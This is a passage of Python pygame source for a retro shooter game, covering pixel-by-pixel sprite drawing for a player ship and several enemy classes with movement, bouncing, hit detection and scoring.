self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) def display_forward(self): pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4* self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5* self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4* self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5* self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 6*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 7*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - 2*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x + self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - self.size, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x - 2*self.size, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (40, 40, 40), (self.x + self.size, self.y + 4*self.size, self.size, self.thickness)) def display_back(self): pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 5*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 6*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 4*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 5*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 2*self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (20, 20, 80), (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x - 4*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (190,190,190), (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) def bounce(self): if self.x + 3*self.size > WIDTH: self.x = WIDTH - 3*self.size if self.x - 3*self.size < 0: self.x = 0 + 3*self.size if self.y - 7*self.size < 0: self.y = 0 + 7*self.size if self.y + 3*self.size > HEIGHT: self.y = HEIGHT - 3*self.size def position(self): return self.x, self.y, self.size ######################################################################################################################## ######################################################################################################################## ' **** ENEMY CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class Enemy(): def update(self): return NotImplementedError("enemy move not implemented") def enemy_attack(self): if self.y >HEIGHT: return True def score_(self): return self.score def dead(self): if self.health < 0: return True def bounce(self): pass class BossCube(Enemy): def __init__(self, boss_guy, x, y, theta, identity): self.theta = theta self.boss_guy = boss_guy self.size = 6 self.x = x self.y = y self.colour = 120, 120, 120 self.angle = math.pi/2 self.health = 2 self.score = 100 self.thickness = 0 self.spin_timer = pygame.time.get_ticks() self.identity = identity def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.size)) def update(self): if self.identity: self.theta += 0.01 self.x = (self.boss_guy.x + self.boss_guy.inner_shield_radius * math.cos(self.theta)) - (self.size / 2) self.y = (self.boss_guy.y + self.boss_guy.inner_shield_radius * math.sin(self.theta)) - (self.size / 2) else: self.theta -= 0.01 self.x = (self.boss_guy.x + self.boss_guy.outer_shield_radius * math.cos(self.theta)) - (self.size / 2) self.y = (self.boss_guy.y + self.boss_guy.outer_shield_radius * math.sin(self.theta)) - (self.size / 2) def dead(self): if self.health < 0: return True def hit(self, projectile): dx = (self.x + (self.size / 2)) - projectile.x dy = (self.y + (self.size / 2)) - projectile.y proximity = math.hypot(dx, dy) if proximity < self.size + projectile.size: self.health -= projectile.power return True class BossGuy(Enemy): def __init__(self, x, y): self.layer_one_cube_number = 12 self.layer_two_cube_number = 24 self.inner_shield_radius = 30 self.outer_shield_radius = 60 self.x = WIDTH *0.5 self.y = 0 - self.inner_shield_radius self.inner_circumference_division = 2*math.pi / self.layer_one_cube_number self.outer_circumference_division = 2*math.pi / self.layer_two_cube_number self.size = 3 self.angle = math.pi self.speed = 0.5 self.colour = WHITE self.thickness = 0 self.health = 10 self.score = 1000 self.origin = 0 self.secondary_movement_mode = True def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 5*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 5*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 4*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (170, 170, 170), (self.x - 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (120,120,120), (self.x - 4*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (170, 170, 170), (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (120,120,120), (self.x + 3*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (200, 200, 200), (self.x - 2*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (170, 170, 170), (self.x - 3*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (200, 200, 200), (self.x + self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (170, 170, 170), (self.x + 2*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (200, 200, 200), (self.x - 2*self.size, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, (200, 200, 200), (self.x + self.size, self.y + 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 5*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, BLACK, (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 4*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 4*self.size, self.size, self.thickness)) def update(self): self.x += math.sin(self.angle) * self.speed self.y -= math.cos(self.angle) * self.speed if self.y > HEIGHT * 0.2: self.speed = 0.25 if self.secondary_movement_mode: self.secondary_movement_mode = False if self.x > WIDTH * 0.5: self.angle = math.pi * 1.5 else: self.angle = math.pi * 0.5 else: if self.x > WIDTH * 0.8: self.angle = math.pi * 1.5 elif self.x < WIDTH * 0.2: self.angle = math.pi * 0.5 def dead(self): if self.health < 0: return True def hit(self, projectile): dx = (self.x + (self.size / 2)) - projectile.x dy = (self.y + (self.size / 2)) - projectile.y proximity = math.hypot(dx, dy) if proximity < self.size + projectile.size: self.health -= projectile.power return True class RedGuy(Enemy): def __init__(self, x, y): self.size = 3 self.x = x self.y = y + 2*self.size self.colour = 255, 0, 150 self.speed = 2 self.angle = math.pi/2 self.health = 5 self.score = 100 self.thickness = 0 def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y + 3*self.size, self.size, self.thickness)) def dead(self): if self.health < 0: return True def bounce(self): if self.x + 4*self.size > WIDTH: self.y += 6*self.size self.angle = math.pi*1.5 elif self.x < 0: self.angle = math.pi/2 self.y += 6*self.size def update(self): self.x += math.sin(self.angle) * self.speed self.y -= math.cos(self.angle) * self.speed def hit(self, projectile): dx = (self.x + (self.size / 2)) - projectile.x dy = (self.y + (self.size / 2)) - projectile.y proximity = math.hypot(dx, dy) if proximity < 4 * self.size + projectile.size: self.health -= projectile.power return True class GoldGuy(Enemy): def __init__(self, x, y): self.size = 3 self.x = random.randint(0,WIDTH - self.size) self.y = y + 2*self.size self.colour = 255, 255, 150 self.speed = 1 self.score = 200 self.thickness = 0 a = random.randint(0, 1) if a == 0: self.angle = 3*(math.pi)/4 else: self.angle = 5*(math.pi)/4 self.health = 3 def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) def dead(self): if self.health < 0: return True def bounce(self): if self.x + 2*self.size > WIDTH: self.x += -4*self.size self.angle = -self.angle elif self.x < 0: self.x += 4*self.size self.angle = -self.angle def update(self): x = self.x y = (self.x - x)**2 z = math.sqrt(y) self.x += math.sin(self.angle) * self.speed self.y -= math.cos(self.angle) * self.speed if z > 400: self.angle = -self.angle def hit(self, projectile): dx = (self.x + (self.size / 2)) - projectile.x dy = (self.y + (self.size / 2)) - projectile.y proximity = math.hypot(dx, dy) if proximity < 4 * self.size + projectile.size: self.health -= projectile.power return True class BlueGuy(Enemy): def __init__(self, x, y): self.size = 3 self.thickness = 0 self.x = random.randint( 0, WIDTH - self.size) self.y = y + 2 * self.size self.colour = 150, 150, 255 self.speed = 1.5 self.angle = math.pi self.health = 0 self.score = 200 def display(self): pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - 2*self.size, self.size, self.thickness)) def bounce(self): if self.x + 2 * self.size > WIDTH: self.x += - 4 * self.size elif self.x < 0: self.x += 4*self.size def update(self): self.y += self.speed def hit(self, projectile): dx = (self.x + (self.size/2)) - projectile.x dy = (self.y + (self.size/2)) - projectile.y proximity = 